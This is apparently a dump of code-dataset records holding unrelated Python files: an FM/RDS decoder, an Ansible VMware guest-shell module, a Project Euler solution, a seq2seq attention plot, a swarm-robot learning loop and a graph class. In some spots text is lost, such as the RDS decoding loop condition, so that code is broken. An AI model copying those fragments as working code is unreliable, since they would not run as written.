blocks=[\"A\",\"B\",\"C'\",\"C\", \"D\"]\n for OffsetType in blocks:\n if(block==Syndromes[OffsetType]):\n return OffsetType\n return -1\n\ndef getSyndrome(block):\n matrix_col=[0]*26\n result=[0]*10\n\n for i in range(10):\n for j in range(26):\n matrix_col[j]=P[j][i]\n \n prod = np.array(block,dtype=bool) & np.array(matrix_col,dtype=bool)\n \n for elem in prod:\n result[i]^=elem\n\n #result[i] = '0b1' if prod.count(1) % 2 else '0b0'\n\n return result\n\n\nif __name__ == \"__main__\":\n\n\n in_fname = \"data/AudioIQsamples/iq_samples.raw\"\n\n raw_data = np.fromfile(in_fname, dtype='uint8')\n print(\"Read raw RF data from \\\"\" + in_fname + \"\\\" in unsigned 8-bit format\")\n # IQ data is normalized between -1 and +1 in 32-bit float format\n iq_data = (np.float32(raw_data) - 128.0)/128.0\n print(\"Reformatted raw RF data to 32-bit float format (\" +\n str(iq_data.size * iq_data.itemsize) + \" bytes)\")\n\n # coefficients for the front-end low-pass filter\n rf_coeff = signal.firwin(rf_taps, rf_Fc/(rf_Fs/2), window=('hann'))\n\n # filter to extract the FM channel (I samples are even, Q samples are odd)\n i_filt = signal.lfilter(rf_coeff, 1.0, iq_data[0::2])\n q_filt = signal.lfilter(rf_coeff, 1.0, iq_data[1::2])\n print(\"I/Q Filtered\")\n\n\n # downsample the FM channel\n i_ds = i_filt[::rf_decim]\n q_ds = q_filt[::rf_decim]\n\n fm_demod, dummy = fmDemodArctan(i_ds, q_ds)\n print(\"FM Demodulated\")\n\n\n###################### RF FRONT END DONE #########################\n\n\n##################### STARTING RDS PROCESSING ########################\n\n\n\n Fs = 240000.0 # sampling rate\n Fc = 16000.0 # cutoff frequency\n N_taps = 151 # number of taps for the FIR\n\n\n # FILTER RDS SIGNAL \n rds_coeff = myBandPassFirwin(54e3, 60e3, Fs, N_taps)\n rds_filt = signal.lfilter(rds_coeff, 1.0, fm_demod)\n print(\"Filtered RDS\")\n rds_symbol_rate = 11\n\n\n\n # SQUARE RDS SIGNAL & FILTER TO GENERATE CARRIER\n rds_carrier = rds_filt*rds_filt\n rds_carrier_coeff = myBandPassFirwin(113.5e3, 114.5e3, Fs, N_taps)\n rds_carrier_filt = signal.lfilter(rds_carrier_coeff, 1.0, rds_carrier)\n print(\"Filtered RDS Carrier\")\n\n\n pllOut, _ =fmPll(rds_carrier_filt,114e3,Fs,ncoScale=0.5) # Double check ncoScale\n rds_carrier_i = pllOut[:-1]\n print(\"Pll Done\")\n\n\n # PASS FILTERED RDS THROUGH ALLPASS BEFORE MIXING FOR DELAY\n all_pass_coeff = np.zeros(N_taps)\n all_pass_coeff[(N_taps-1)//2] = 1\n rds_delayed = signal.lfilter(all_pass_coeff, 1.0, rds_filt)\n print(\"Delayed rds_filt\")\n\n\n # MIXING\n rds_mixed_i = 2*rds_delayed*rds_carrier_i\n# rds_mixed_q = 2*rds_delayed*rds_carrier_q # FOR DEBUGGING ONLY\n\n\n\n\n\n # FILTER MIXED VALUE AT 3KHZ\n rds_demod_coeff = signal.firwin(N_taps, 3e3/(Fs/2), window=('hann')) #Low Pass filter 3kHz\n rds_mixed_filt_i = signal.lfilter(rds_demod_coeff, 1.0, rds_mixed_i)\n# rds_mixed_filt_q = signal.lfilter(rds_demod_coeff, 1.0, rds_mixed_q)\n\n\n Up = 209\n Down = 1920\n\n # Relational Resampler\n rds_resampled_i = signal.resample_poly(rds_mixed_filt_i, Up, Down)\n rds_resampled_i *=Up\n\n\n# rds_resampled_q = signal.resample_poly(rds_mixed_filt_q, Up, Down)\n# rds_resampled_q *=Up\n\n \n # RRC FILTERING \n cosine_coeff = impulseResponseRootRaisedCosine(11*2375, N_taps)\n rds_demod_i = signal.lfilter(cosine_coeff, 1.0, rds_resampled_i)\n# rds_demod_q = signal.lfilter(cosine_coeff, 1.0, rds_resampled_q)\n \n plt.plot(range(440),rds_demod_i[:440])\n plt.savefig(\"rds_cosine_i.png\")\n plt.clf()\n\n\n delay = int((N_taps)*Up/Down) + (N_taps-1)//2 \n rds_demod_i = rds_demod_i[delay:]\n# rds_demod_q = rds_demod_q[delay:]\n\n \n\n start_i = findLocalMaxMin(rds_demod_i, 11)\n start_q = findLocalMaxMin(rds_demod_q, 11)\n\n\n #rds_demod_i = rds_demod_i[start_i::11]\n #rds_demod_q = rds_demod_q[start_q::11]\n print(len(rds_demod_i), len(rds_demod_q))\n plt.scatter( rds_demod_i[:1000]/max(rds_demod_i[:1000]) ,rds_demod_q[:1000])\n plt.savefig(\"rds_demod.png\")\n plt.clf()\n\n plt.plot(range(440),rds_demod_i[:440])\n plt.savefig(\"rds_demod_i.png\")\n plt.clf()\n plt.plot(range(440),rds_demod_q[:440])\n plt.savefig(\"rds_demod_q.png\")\n plt.clf()\n \n\ndef decoding(toBeDecoded):\n i=0\n cdr = []\n while(i0 and toBeDecoded[i+1]>0) or (toBeDecoded[i]<0 and toBeDecoded[i+1]<0)):\n #cdr=[]\n #print(f\"clear cdr at i = {i} because of {toBeDecoded[i], toBeDecoded[i+1]}\")\n #i+=1\n #toBeDecoded=toBeDecoded[i+1:]\n #print(f\"remaining input {toBeDecoded}\")\n #i=0\n cdr.append(0)\n i+=2\n continue\n if (i+1 >= len(toBeDecoded)):\n break \n if(toBeDecoded[i]\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'}\n\n\nDOCUMENTATION = '''\n---\nmodule: vmware_vm_shell\nshort_description: Execute a process in VM\ndescription:\n - Start a program in a VM without the need for network connection\nversion_added: 2.1\nauthor: \"Ritesh Khadgaray (@ritzk)\"\nnotes:\n - Tested on vSphere 5.5\n - Only the first match against vm_id is used, even if there are multiple matches\nrequirements:\n - \"python >= 2.6\"\n - PyVmomi\noptions:\n datacenter:\n description:\n - The datacenter hosting the VM\n - Will help speed up search\n required: False\n default: None\n cluster:\n description:\n - The cluster hosting the VM\n - Will help speed up search\n required: False\n default: None\n folder:\n description:\n - Destination folder, absolute or relative path to find an existing guest or create the new guest.\n - The folder should include the datacenter. ESX's datacenter is ha-datacenter\n - 'Examples:'\n - ' folder: /ha-datacenter/vm'\n - ' folder: ha-datacenter/vm'\n - ' folder: /datacenter1/vm'\n - ' folder: datacenter1/vm'\n - ' folder: /datacenter1/vm/folder1'\n - ' folder: datacenter1/vm/folder1'\n - ' folder: /folder1/datacenter1/vm'\n - ' folder: folder1/datacenter1/vm'\n - ' folder: /folder1/datacenter1/vm/folder2'\n - ' folder: vm/folder2'\n - ' folder: folder2'\n default: /vm\n version_added: \"2.4\"\n vm_id:\n description:\n - The identification for the VM\n required: True\n vm_id_type:\n description:\n - The identification tag for the VM\n default: vm_name\n choices:\n - 'uuid'\n - 'dns_name'\n - 'inventory_path'\n - 'vm_name'\n required: False\n vm_username:\n description:\n - The user to connect to the VM.\n required: False\n default: None\n vm_password:\n description:\n - The password used to login to the VM.\n required: False\n default: None\n vm_shell:\n description:\n - The absolute path to the program to start. On Linux this is executed via bash.\n required: True\n vm_shell_args:\n description:\n - The argument to the program.\n required: False\n default: None\n vm_shell_env:\n description:\n - Comma separated list of envirnoment variable, specified in the guest OS notation\n required: False\n default: None\n vm_shell_cwd:\n description:\n - The current working directory of the application from which it will be run\n required: False\n default: None\nextends_documentation_fragment: vmware.documentation\n'''\n\nEXAMPLES = '''\n- name: shell execution\n local_action:\n module: vmware_vm_shell\n hostname: myVSphere\n username: myUsername\n password: mySecret\n datacenter: myDatacenter\n folder: /vm\n vm_id: NameOfVM\n vm_username: root\n vm_password: superSecret\n vm_shell: /bin/echo\n vm_shell_args: \" $var >> myFile \"\n vm_shell_env:\n - \"PATH=/bin\"\n - \"VAR=test\"\n vm_shell_cwd: \"/tmp\"\n\n'''\n\ntry:\n from pyVmomi import vim, vmodl\n HAS_PYVMOMI = True\nexcept ImportError:\n HAS_PYVMOMI = False\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.vmware import (connect_to_api, find_cluster_by_name, find_datacenter_by_name,\n find_vm_by_id, vmware_argument_spec)\n\n\n# https://github.com/vmware/pyvmomi-community-samples/blob/master/samples/execute_program_in_vm.py\ndef execute_command(content, vm, vm_username, vm_password, program_path, args=\"\", env=None, cwd=None):\n\n creds = vim.vm.guest.NamePasswordAuthentication(username=vm_username, password=vm_password)\n cmdspec = vim.vm.guest.ProcessManager.ProgramSpec(arguments=args, envVariables=env, programPath=program_path, workingDirectory=cwd)\n cmdpid = content.guestOperationsManager.processManager.StartProgramInGuest(vm=vm, auth=creds, spec=cmdspec)\n\n return cmdpid\n\n\ndef main():\n argument_spec = vmware_argument_spec()\n argument_spec.update(dict(datacenter=dict(default=None, type='str'),\n cluster=dict(default=None, type='str'),\n folder=dict(type='str', default='/vm'),\n vm_id=dict(required=True, type='str'),\n vm_id_type=dict(default='vm_name', type='str', choices=['inventory_path', 'uuid', 'dns_name', 'vm_name']),\n vm_username=dict(required=False, type='str'),\n vm_password=dict(required=False, type='str', no_log=True),\n vm_shell=dict(required=True, type='str'),\n vm_shell_args=dict(default=\" \", type='str'),\n vm_shell_env=dict(default=None, type='list'),\n vm_shell_cwd=dict(default=None, type='str')))\n\n module = AnsibleModule(argument_spec=argument_spec,\n supports_check_mode=False,\n required_if=[['vm_id_type', 'inventory_path', ['folder']]],\n )\n\n if not HAS_PYVMOMI:\n module.fail_json(changed=False, msg='pyvmomi is required for this module')\n\n try:\n p = module.params\n datacenter_name = p['datacenter']\n cluster_name = p['cluster']\n folder = p['folder']\n content = connect_to_api(module)\n\n datacenter = None\n if datacenter_name:\n datacenter = find_datacenter_by_name(content, datacenter_name)\n if not datacenter:\n module.fail_json(changed=False, msg=\"datacenter not found\")\n\n cluster = None\n if cluster_name:\n cluster = find_cluster_by_name(content, cluster_name, datacenter)\n if not cluster:\n module.fail_json(changed=False, msg=\"cluster not found\")\n\n if p['vm_id_type'] == 'inventory_path':\n vm = find_vm_by_id(content, vm_id=p['vm_id'], vm_id_type=\"inventory_path\", folder=folder)\n else:\n vm = find_vm_by_id(content, vm_id=p['vm_id'], vm_id_type=p['vm_id_type'], datacenter=datacenter, cluster=cluster)\n\n if not vm:\n module.fail_json(msg='VM not found')\n\n msg = execute_command(content, vm, p['vm_username'], p['vm_password'],\n p['vm_shell'], p['vm_shell_args'], p['vm_shell_env'], p['vm_shell_cwd'])\n\n module.exit_json(changed=True, uuid=vm.summary.config.uuid, msg=msg)\n except vmodl.RuntimeFault as runtime_fault:\n module.fail_json(changed=False, msg=runtime_fault.msg)\n except vmodl.MethodFault as method_fault:\n module.fail_json(changed=False, msg=method_fault.msg)\n except Exception as e:\n module.fail_json(changed=False, msg=str(e))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zhxfei/My-Admin","sub_path":"env/lib/python3.5/site-packages/ansible/modules/cloud/vmware/vmware_vm_shell.py","file_name":"vmware_vm_shell.py","file_ext":"py","file_size_in_byte":7502,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"52"} +{"seq_id":"33994418901","text":"\"\"\"This solves problem #35 of Project Euler (https://projecteuler.net).\n\nCircular primes\n\nThe number, 197, is called a circular prime because all rotations of the digits: 197, 971,\nand 719, are themselves prime.\n\nThere are thirteen such primes below 100: 2, 3, 5, 7, 11, 13, 17, 31, 37, 71, 73, 79, and 97.\n\nHow many circular primes are there below one million?\n\"\"\"\n\nfrom mathext import prime_number_generator\n\n\ndef find_primes(*, up_to=100):\n primes = []\n for p in prime_number_generator():\n if p >= up_to:\n break\n primes.append(p)\n return primes\n\n\ndef rotations(n):\n result = []\n digits = str(n)\n for _ in range(len(digits)):\n digits = digits[-1] + digits[:-1]\n result.append(int(digits))\n return result\n\n\ndef first_attempt():\n primes = set(find_primes(up_to=1_000_000))\n circular_primes = set()\n for p in primes:\n r = rotations(p)\n if any(map(lambda k: k in circular_primes, r)):\n continue\n if all(map(lambda k: k in primes, r)):\n circular_primes.update(r)\n print(sorted(circular_primes))\n print('Solution =', len(circular_primes))\n\n\ndef run_application():\n import time\n start = time.time()\n first_attempt()\n print('Runtime =', time.time() - start, 'seconds')\n\n\nif __name__ == '__main__':\n run_application()\n\n# last line of code\n","repo_name":"techrabbit58/ProjectEuler","sub_path":"problem_0035.py","file_name":"problem_0035.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17566199031","text":"import torch\nfrom dataloader import prepare_data\nfrom model import Encoder, Attention, Decoder, Seq2Seq, init_weights\nfrom inferencer import Inferencer\nfrom config import *\n\n\"\"\" load data \"\"\"\ntrain_loader, val_loader, test_loader, m_dh = prepare_data(TRAIN_PATH, VAL_PATH, TEST_PATH, DH_PATH, LOAD_FROM_DUMP, 3) \n\n\"\"\" model setup \"\"\"\nINPUT_DIM, OUTPUT_DIM = len(m_dh.de_vocab), len(m_dh.en_vocab)\n\nenc = Encoder(INPUT_DIM, ENC_EMB_DIM, ENC_HID_DIM, DEC_HID_DIM, ENC_DROPOUT)\nattn = Attention(ENC_HID_DIM, DEC_HID_DIM, ATTN_DIM)\ndec = Decoder(OUTPUT_DIM, DEC_EMB_DIM, ENC_HID_DIM, DEC_HID_DIM, DEC_DROPOUT, attn)\n\nmodel = Seq2Seq(enc, dec)\n\n\"\"\" load model \"\"\"\nstate_dict = torch.load('ckpts/best.pt')\nmodel.load_state_dict(state_dict['model_state'])\nmodel.eval()\n\nen_infer = Inferencer(m_dh.en_vocab)\n\nsrc, trg = next(iter(test_loader))\n\n\"\"\" ______________ \"\"\"\nimport matplotlib.pyplot as plt\nimport numpy\n\ndef plot_head_map(mma, target_labels, source_labels):\n fig, ax = plt.subplots()\n heatmap = ax.pcolor(mma, cmap=plt.cm.Blues)\n # put the major ticks at the middle of each cell\n ax.set_xticks(numpy.arange(mma.shape[1]) + 0.5, minor=False) # mma.shape[1] = target seq 길이\n ax.set_yticks(numpy.arange(mma.shape[0]) + 0.5, minor=False) # mma.shape[0] = input seq 길이\n \n # without this I get some extra columns rows\n # http://stackoverflow.com/questions/31601351/why-does-this-matplotlib-heatmap-have-an-extra-blank-column\n ax.set_xlim(0, int(mma.shape[1]))\n ax.set_ylim(0, int(mma.shape[0]))\n \n # want a more natural, table-like display\n ax.invert_yaxis()\n ax.xaxis.tick_top()\n \n # source words -> column labels\n # ax.set_xticklabels(source_labels, minor=False)\n # target words -> row labels\n # ax.set_yticklabels(target_labels, minor=False)\n \n plt.xticks(rotation=45)\n \n # plt.tight_layout()\n plt.show()\n\nprint(len(src), len(trg))\nguess, attn = model(src, trg, teacher_forcing_ratio=0)\nguess = guess.max(2)[1]\nidx = 1\nvis_attn = attn[:,idx,:].T.detach().numpy()\nvis_trg, vis_guess = trg[:, idx], guess[:, idx]\nplot_head_map(vis_attn, vis_trg, vis_guess)\nprint(vis_attn.shape, vis_trg.shape, vis_guess.shape)\nprint(attn[:,0,:].shape)\n# print(en_infer.decode(guess))\n# print(en_infer.decode(trg))\n\n","repo_name":"5yearsKim/Seq2seq-text-Dream","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6214433905","text":"class Solution(object):\n\n\tdef dedup(self, nums):\n\t\tif len(nums) == 0:\n\t\t\treturn 0\n\n\t\tlow = 0\n\t\thigh = 0\n\t\tcount = 0\n\t\tn = len(nums)\n\n\t\twhile high < n:\n\t\t\tif nums[high] == nums[low]:\n\t\t\t\tcount += 1\n\t\t\t\tif count > 2:\n\t\t\t\t\tnums.pop(high)\n\t\t\t\t\tn -= 1\n\t\t\t\t\tcount -= 1\n\t\t\t\telse:\n\t\t\t\t\thigh += 1\n\t\t\telse:\n\t\t\t\tlow = high\n\t\t\t\tcount = 0\n\n\t\treturn nums\n\nobj = Solution()\narr1 = [1, 1, 1, 2, 2, 3]\nprint(obj.dedup(arr1))\n","repo_name":"rush2catch/algorithms-leetcode","sub_path":"Basic Data Structures/array/leet_080_RemoveDeplicates.py","file_name":"leet_080_RemoveDeplicates.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72947338404","text":"#!/usr/bin/python\n\nimport os\nfrom random import randint\n\n#The text file to search for possible responces, seperated by new lines\nresponcesfile = r\"responces.txt\"\n\ndef main():\n\t#Reset the terminal\n\tos.system(\"reset\")\n\n\t#Make sure the responces file exists\n\tif not os.path.exists(responcesfile):\n\t\texit('Unable to locate \"' + responcesfile + '\"! Exiting...')\n\n\t#Extract each responce and place it in an array\n\twith open(responcesfile) as f:\n\t\tresponces = f.readlines()\n\n\t\n\tos.system('toilet -t \"Magic 8 Ball!\"')\n\tprint(\"##########################################################################################\")\n\tprint(\"\\nAsk me anything and then press ENTER!\")\n\n\n\twhile True:\n\t\t#Wait for the user to return an input\n\t\tx = input(\"\")\n\n\t\t#Clear the screen\n\t\tos.system(\"clear\")\n\n\t\t#Select a random responce\n\t\tres = randint(0, len(responces) - 1)\n\t\tresp = responces[res]\n\n\t\t#Display the responce\n\t\tos.system('toilet -t \"' + resp + '\"')\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"HarrisonTotty/scripts","sub_path":"magic8ball.py","file_name":"magic8ball.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"15484553109","text":"import time\nimport pygame\nfrom parameters4 import *\nfrom simulation import Agent, Arena\n\n# initialization\narena = Arena(width, height, text_font, obstacle_text_size, terminal_text_size, episode_text_size, text_color)\nagents = []\nnum_data_x = [red_buffer, green_buffer, red_buffer, green_buffer]\nfor agent, target in zip(range(number_of_agents), target_positions):\n agent_name = \"Agent \" + str(agent+1)\n agents.append(Agent(arena, agents, num_data_x[agent], width, height, agent_name, target[0], target[1], inner, outer, max_speed, max_length,\n starting_angle, obstacle_position, obstacle_radius, text_font, agent_text_size, white, radius, epsilon, learning_rate, \n discount_factor, separation_magnitude, alignment_magnitude, cohesion_magnitude))\ndynamics_attribute = [[Kp_red, Ki_red, a0_red, a1_red, b1_red],\n [Kp_green, Ki_green, a0_green, a1_green, b1_green],\n [Kp_red, Ki_red, a0_red, a1_red, b1_red],\n [Kp_green, Ki_green, a0_green, a1_green, b1_green]]\n\n# simulation\nfirst = True\nrun_simulation = True\nepisodes = number_of_episodes\nprint('\\n------------- Start Simulation -------------\\n')\n\nfor episode in range(episodes):\n run_episode = True\n time_limit = episode_time * frame_per_second\n\n # reset agent position\n for agent, starting_position in zip(agents, starting_positions):\n agent.reset(starting_position[0], starting_position[1])\n\n # get initial state and action\n for agent in agents:\n agent.get_first_state_action(agent)\n agent.show_output(episode)\n\n while run_episode:\n arena.render(frame_per_second)\n arena.draw_arena(black)\n arena.draw_circle(obstacle_color, terminal_color, obstacle_radius, terminal_radius, obstacle_position, start_position, target_position)\n arena.draw_text(obstacle_text_position, start_text_position, target_text_position, episode_text_position, episode_text_color, episode)\n\n # get old state and update acceleration based on behavior and action\n for agent in agents:\n agent.get_current_state(agent)\n agent.update_acceleration(agent, agents, wander_magnitude, avoid_magnitude, target_magnitude)\n\n # update position and velocity\n for agent, dynamic in zip(agents, dynamics_attribute):\n agent.update_kinematics(dynamic[0], dynamic[1], dynamic[2], dynamic[3], dynamic[4], delta_time)\n\n # get new state and new action, update Q-values, and draw agents\n is_terminal = number_of_agents\n for agent in agents:\n agent.get_next_state(agent)\n agent.get_next_action()\n agent.update_matrix_values(episode, track_version, obstacle_version)\n agent.draw_agent(red, green, black, yellow, blue, orange)\n is_terminal -= agent.is_terminal_state(agents)\n\n if is_terminal == 0:\n run_episode = False\n\n time_limit -= 1\n if time_limit == 0:\n run_episode = False\n\n # delay for dt\n time.sleep(loop_delay)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run_episode = False\n run_simulation = False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n run_episode = False\n run_simulation = False\n if event.key == pygame.K_q:\n run_episode = False\n\n # save Q-values for each episode\n if first:\n for agent in agents:\n agent.df_Q_values()\n first = False\n else:\n for agent in agents:\n agent.append_Q_values()\n\n print('\\n------------- End of Episode {} -------------\\n'.format(episode+1))\n if not run_simulation:\n break\n\n# export Q-values to csv\nfor agent in agents:\n agent.save_Q_values(track_version, obstacle_version)\n\npygame.quit()","repo_name":"MosesHubert/swarm-robotics","sub_path":"train4.py","file_name":"train4.py","file_ext":"py","file_size_in_byte":3967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"428434807","text":"from .vertex_edge import Vertex, Edge\nfrom ._parsing import *\n\n\nclass Graph:\n \"\"\"\n A class representing a graph.\n Data are stored as adjacency lists stored in a dictionnary\n Edges in the class graph are not oriented. For oriented edges, please use\n the class OrientedGraph\n \"\"\"\n\n def __init__(self, _graph_dict, _edges=None, _matrix=None):\n \"\"\"\n Initialization function. Is not meant to be called as it is.\n\n Parameters:\n self._dict : Vertex -> set of neighbours vertices\n self._edges : Vertex pair -> corresponding Edge\n self._matrix : adjacency matrix\n \"\"\"\n self._dict = _graph_dict\n self._edges = _edges\n self._matrix = _matrix\n\n def __eq__(self, other):\n return self._dict == other._dict\n\n def __str__(self):\n return str(self._dict)\n\n def __len__(self):\n \"\"\"\n Number of vertices in the graph\n \"\"\"\n return len(self._dict)\n\n # --------------- Initialization methods --------------------------\n\n @staticmethod\n def from_edge_list(l, vertex_data: str = None, edge_data: str = None):\n \"\"\"\n Imports a graph from a txt file containing an edge list\n\n Returns\n -------\n A new Graph object\n \"\"\"\n if vertex_data is not None:\n vertex_data = parse_node_data(vertex_data)\n if edge_data is not None:\n edge_data = parse_edge_data(edge_data)\n\n edges = dict()\n if isinstance(l, str):\n # Load from a file\n with open(l, 'r') as f:\n for s in f.readlines():\n s = s.strip().split()\n xa, xb = int(s[0]), int(s[1])\n if vertex_data is None:\n a, b = Vertex(xa), Vertex(xb)\n else:\n a, b = vertex_data[xa], vertex_data[xb]\n if edge_data is None:\n edges[(a, b)] = Edge(a, b)\n edges[(b, a)] = Edge(b, a)\n else:\n e = edge_data.get((a, b), None)\n if e is None:\n e = edge_data.get((b, a), [Edge(a, b)])\n edges[(a, b)] = e[0]\n edges[(b, a)] = Edge.revert(e[0])\n else:\n for e in l:\n e = Edge(e)\n edges[(e[\"start\"], e[\"end\"])] = e\n edges[(e[\"end\"], e[\"start\"])] = e\n graph_dict = dict()\n for key in edges:\n edge = edges[key]\n if edge.start not in graph_dict:\n graph_dict[edge.start] = set([edge.end])\n else:\n graph_dict[edge.start].add(edge.end)\n if edge.end not in graph_dict:\n graph_dict[edge.end] = set([edge.start])\n else:\n graph_dict[edge.end].add(edge.start)\n return Graph(graph_dict, _edges=edges)\n\n @staticmethod\n def from_adjacency_dict(d, vertex_data: str = None, edge_data: str = None):\n \"\"\"\n Imports a graph from a txt file containing an adjacency list\n\n Returns\n -------\n A new Graph object\n \"\"\"\n if vertex_data is not None:\n vertex_data = parse_node_data(vertex_data)\n edges = None\n if edge_data is not None:\n edge_data = parse_edge_data(edge_data)\n edges = {e: edge_data[e][0] for e in edge_data}\n if isinstance(d, str): # Load from a file\n graph_dict = dict()\n with open(d, 'r') as f:\n for line in f.readlines():\n line = line.strip().split()\n v = Vertex(int(line[0]))\n adj_list = line[1:]\n for adj in adj_list:\n adj = Vertex(int(adj))\n if v in graph_dict:\n graph_dict[v].add(adj)\n else:\n graph_dict[v] = set([adj])\n if adj in graph_dict:\n graph_dict[adj].add(v)\n else:\n graph_dict[adj] = set([v])\n if edge_data is not None:\n return Graph(graph_dict, _edges=edges)\n return Graph(graph_dict)\n else:\n return Graph(d, _edges=edges)\n\n @staticmethod\n def from_adjacency_matrix(m, vertex_data: str = None,\n edge_data: str = None):\n \"\"\"\n Imports a graph from a txt file containing an adjacency matrx\n\n Returns:\n A new Graph object\n \"\"\"\n if vertex_data is not None:\n vertex_data = parse_node_data(vertex_data)\n if edge_data is not None:\n edge_data = parse_edge_data(edge_data)\n\n adj_mat = None\n if isinstance(m, str): # Load from a file\n with open(m, 'r') as f:\n adj_mat = [l.strip().split() for l in f.readlines()]\n else:\n adj_mat = m\n n = len(adj_mat)\n graph_dict = dict()\n edges = dict()\n for i in range(n):\n v = Vertex(i)\n graph_dict[v] = set()\n for i in range(n):\n for j in range(n):\n if vertex_data is None:\n vi, vj = Vertex(i), Vertex(j)\n else:\n vi, vj = vertex_data[i], vertex_data[j]\n if int(adj_mat[i][j]) != 0:\n graph_dict[vi].add(vj)\n graph_dict[vj].add(vi)\n if edge_data is not None:\n e = edge_data.get((vi, vj), None)\n if e is None:\n e = edge_data.get((vj, vi), [Edge(vi, vj)])\n edges[(i, j)] = e[0]\n edges[(j, i)] = Edge.revert(e[0])\n else:\n edges[(i, j)] = Edge(vi, vj)\n edges[(j, i)] = Edge(vj, vi)\n return Graph(graph_dict, _edges=edges)\n\n # ------------- Exportation methods -----------------\n\n def export_as_edge_list(self, filename: str) -> None:\n \"\"\"\n Exports the graph in form of an edge list\n\n Parameters:\n 'filename' : string\n the relative path of the file to write back the data\n \"\"\"\n with open(filename, 'w') as f:\n for e in self.edges():\n f.write(str(e.start)+\" \"+str(e.end)+\"\\n\")\n\n def export_as_adjacency_dict(self, filename: str) -> None:\n \"\"\"\n Exports the graph in form of an adjacency list\n\n Parameters\n ----------\n 'filename' : string\n the relative path of the file to write back the data\n \"\"\"\n with open(filename, 'w') as f:\n for v in self._dict:\n f.write(str(v)+\" \")\n for neigh in self._dict[v]:\n f.write(str(neigh)+\" \")\n f.write(\"\\n\")\n\n def export_as_adjacency_matrix(self, filename: str) -> None:\n \"\"\"\n Exports the graph in form of an adjacency matrix\n\n Parameters\n ----------\n 'filename' : string\n the relative path of the file to write back the data\n \"\"\"\n with open(filename, 'w') as f:\n mat = self.adjacency_matrix()\n n = len(mat)\n for i in range(n):\n string = \"\"\n for j in range(n):\n string += str(mat[i][j])+\" \"\n string += \"\\n\"\n f.write(string)\n\n def subgraph(self, vertices):\n \"\"\"\n Extract a subgraph of the graph, containing the relevant vertices\n and edges\n\n Parameters\n ----------\n 'vertices' : a container\n Contains the relevant vertices. If it is not a set, is converted\n into a set\n\n Returns\n -------\n A new Graph object\n \"\"\"\n vertices = set([Vertex(v) if isinstance(v, int)\n else v for v in vertices])\n graph_dict = {v: set() for v in vertices}\n edges = None\n if self._edges is not None:\n edges = dict()\n for v in vertices:\n for u in vertices:\n if v != u and u in self._dict[v]:\n graph_dict[v].add(u)\n graph_dict[u].add(v)\n if edges is not None:\n edges[(u, v)] = self._edges[(u, v)]\n edges[(v, u)] = self._edges[(v, u)]\n return Graph(graph_dict, _edges=edges)\n\n def renumber(self):\n \"\"\"\n Returns a copy of the graph where all the vertices have been renumbered\n from 0 to n. Does not copy edge or vertex data, but only\n the combinatorial structure\n\n Returns\n -------\n A Graph Object\n \"\"\"\n graph_dict = dict()\n vertices = {x: Vertex(i)\n for (i, x) in enumerate(list(self.vertices()))}\n for v in self._dict:\n graph_dict[vertices[v]] = set()\n for u in self._dict[v]:\n graph_dict[vertices[v]].add(vertices[u])\n return Graph(graph_dict)\n\n # ---------------- Getters and setters -----------------------------\n\n def vertices(self):\n \"\"\"\n Getter on the vertices of the graph\n\n Returns:\n An iterator over the vertices of the graph\n \"\"\"\n return self._dict.keys()\n\n def _generate_edges(self):\n \"\"\"\n Generates the set of edges of the graph.\n This set is then stored into the self._edges attribute\n \"\"\"\n self._edges = dict()\n for a in self.vertices():\n for b in self._dict[a]:\n if(hash(b) < hash(a)):\n continue\n self._edges[(a, b)] = Edge(a, b)\n self._edges[(b, a)] = Edge(b, a)\n\n def edges(self, erase_multiple=True):\n \"\"\"\n Getter on the edges of the graph\n\n Parameters\n ----------\n 'erase_multiple' : bool\n If set to True, will do not consider duplicate edges\n\n Returns\n -------\n An iterator over the edges of a the graph\n \"\"\"\n if self._edges is None:\n self._generate_edges()\n if erase_multiple:\n return set(self._edges.values())\n return list(self._edges.values())\n\n def _generate_adjacency(self):\n \"\"\"\n Generates the adjacency matrix of the graph.\n This matrix is then stored into the self._matrix attribute\n \"\"\"\n try:\n n = len(self._dict) # number of vertices\n # assign a number between 0 and n to all vertices\n self._matrix = [[0 for j in range(n)] for i in range(n)]\n for u in self._dict:\n for v in self._dict[u]:\n self._matrix[u.id][v.id] = 1\n self._matrix[v.id][u.id] = 1\n except Exception as e:\n self._matrix = None\n raise e\n\n def adjacency_matrix(self):\n \"\"\"\n Computes and return the adjacency matrix of the graph.\n\n Returns:\n A numpy array of shape (N*N) where N is the number of vertices\n in the graph\n \"\"\"\n if self._matrix is None:\n self._generate_adjacency()\n return self._matrix\n\n def get_neighbours(self, v):\n \"\"\"\n Returns the vertices that are adjacent to v\n\n Parameters:\n 'v' : A Vertex object or an integer (vertex id)\n The vertex from which to extract the neighbourhood\n\n Returns:\n The set of neighbours of v\n \"\"\"\n\n if not isinstance(v, Vertex):\n assert isinstance(v, int)\n v = Vertex(v)\n return self._dict[v]\n\n def get_neighbours_edge(self, v):\n \"\"\"\n Returns the edges of the graph that are incident to v\n\n Parameters:\n 'v' : A Vertex object or an integer (vertex id)\n The vertex from which to extract the neighbourhood\n\n Returns:\n The set of neighbours of v\n \"\"\"\n if not isinstance(v, Vertex):\n assert isinstance(v, int)\n v = Vertex(v)\n if self._edges is None:\n return set([Edge(v, 